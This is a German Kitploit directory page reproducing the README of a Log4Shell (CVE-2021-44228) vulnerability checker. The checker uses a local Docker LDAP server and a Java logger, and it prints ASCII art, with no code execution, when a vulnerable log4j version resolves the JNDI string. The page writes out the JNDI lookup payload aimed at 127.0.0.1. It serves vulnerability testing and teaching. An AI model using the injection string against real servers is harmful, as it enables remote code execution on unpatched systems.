Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-44228 — Schwachstellen-Checker für CVE-2021-44228 | Kitploit
Tools/GitHubGitHub/greymd/cve-2021-44228
SchwachstellenanalyseExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubgreymd/cve-2021-44228

CVE-2021-44228

Schwachstellen-Checker für CVE-2021-44228

Repository anzeigen
354vor 4 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-44228-Checker

Dies ist das Repository zum Prüfen auf die Schwachstelle CVE-2021-44228.

Dies ist ein PoC, der nur Zeichenketten anzeigt, ohne externe Klassen zu laden. Er kann nicht zur Ausführung beliebigen Codes verwendet werden.

Wie funktioniert es?

Schritt 1: Serveranwendung ausführen

Das Image ghcr.io/greymd/cve-2021-44228/server ist verfügbar und kann mit Docker ausgeführt werden.

root@kitploit:~
$ docker run -p 1389:1389 -t ghcr.io/greymd/cve-2021-44228/server

Schritt 2: Auf den Endpunkt mit log4j zugreifen

Bereiten Sie den Code vor, um mit log4j Logs auszugeben, und führen Sie ihn auf demselben Host aus. Lassen Sie die Ausgabezeichenfolge ${jndi:ldap://127.0.0.1:1389/a} sein.

root@kitploit:~
package logger;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class App {
    private static final Logger logger = LogManager.getLogger(App.class);
    public static void main(String[] args) {
        logger.error("${jndi:ldap://127.0.0.1:1389/a}");
    }
}

Wenn das Argument eine Schwachstelle auslöst, wird der Ausdruck 「うんこもりもり」(so viel wie „Jede Menge Scheiße.") erfolgreich protokolliert.

root@kitploit:~
17:52:24.871 [main] ERROR logger.App -
    "mm
    mmmm          "m           "mmmmm
  ""    #         m"               "
        #        m#m          m
       #        m"  #   m     "m     m
     m"        m"   "mm"        """""
   m            m   m          m            m   m
  mm#            # # "m       mm#            # # "m
   m"#"          ##   #        m"#"          ##   #
 ""#mm "m        #    #      ""#mm "m        #    #
   #    #            #         #    #            #
    "mm"           m"           "mm"           m"

Wenn Sie zu faul sind, eigenen Code zu schreiben und zu bauen, können Sie eine einfache Logger-Anwendung in diesem Repository verwenden. Das erste Argument wird vom Logger ausgegeben.

root@kitploit:~
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/logger
$ ./gradlew run --args='Hello'
︙
> Task :run
22:10:02.307 [main] ERROR logger.App - Hello

Ein Beispiel für die Übergabe eines Arguments, das eine Schwachstelle auslöst, sieht wie folgt aus.

root@kitploit:~
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'
︙
> Task :run
22:10:34.757 [main] ERROR logger.App -
    "mm
    mmmm          "m           "mmmmm
  ""    #         m"               "
        #        m#m          m
       #        m"  #   m     "m     m
     m"        m"   "mm"        """""
   m            m   m          m            m   m
  mm#            # # "m       mm#            # # "m
   m"#"          ##   #        m"#"          ##   #
 ""#mm "m        #    #      ""#mm "m        #    #
   #    #            #         #    #            #
    "mm"           m"           "mm"           m"

Wenn Sie eine log4j-Version haben, die NICHT von der Schwachstelle betroffen ist, oder die Serveranwendung nicht läuft, wird die Zeichenkette unverändert ausgegeben. Das können Sie überprüfen, indem Sie die Version der Logger-Anwendung wie unten gezeigt aktualisieren.

root@kitploit:~
$ sed -i.bak s/2.14.1/2.15.0/ build.gradle
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'

> Task :run
22:12:50.913 [main] ERROR logger.App - ${jndi:ldap://127.0.0.1:1389/a}

Serveranwendung ohne Docker ausführen

root@kitploit:~
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/server
$ ./gradlew run
︙
Listening ...

Motivation

Wie ich bereits erwähnt habe (und soweit ich es untersucht habe), lässt sich diese Schwachstelle nicht reproduzieren, solange der Zielserver von JNDI nicht läuft. Daher ist ein einfacher PoC nützlich.

Referenzen

Die folgenden URLs wurden als Referenz für die Implementierung verwendet.

  • https://www.lunasec.io/docs/blog/log4j-zero-day/
  • https://github.com/mbechler/marshalsec
  • https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
  • https://github.com/apache/logging-log4j2/pull/608
  • https://github.com/HyCraftHD/Log4J-RCE-Proof-Of-Concept

Getestete Versionen

  • OpenJDK Runtime Environment (build 1.8.0_302-b08)
  • OpenJDK Runtime Environment Corretto-11.0.12.7.1 (build 11.0.12+7-LTS)
  • OpenJDK Runtime Environment Zulu17.30+15-CA (build 17.0.1+12-LTS)
Tool herunterladen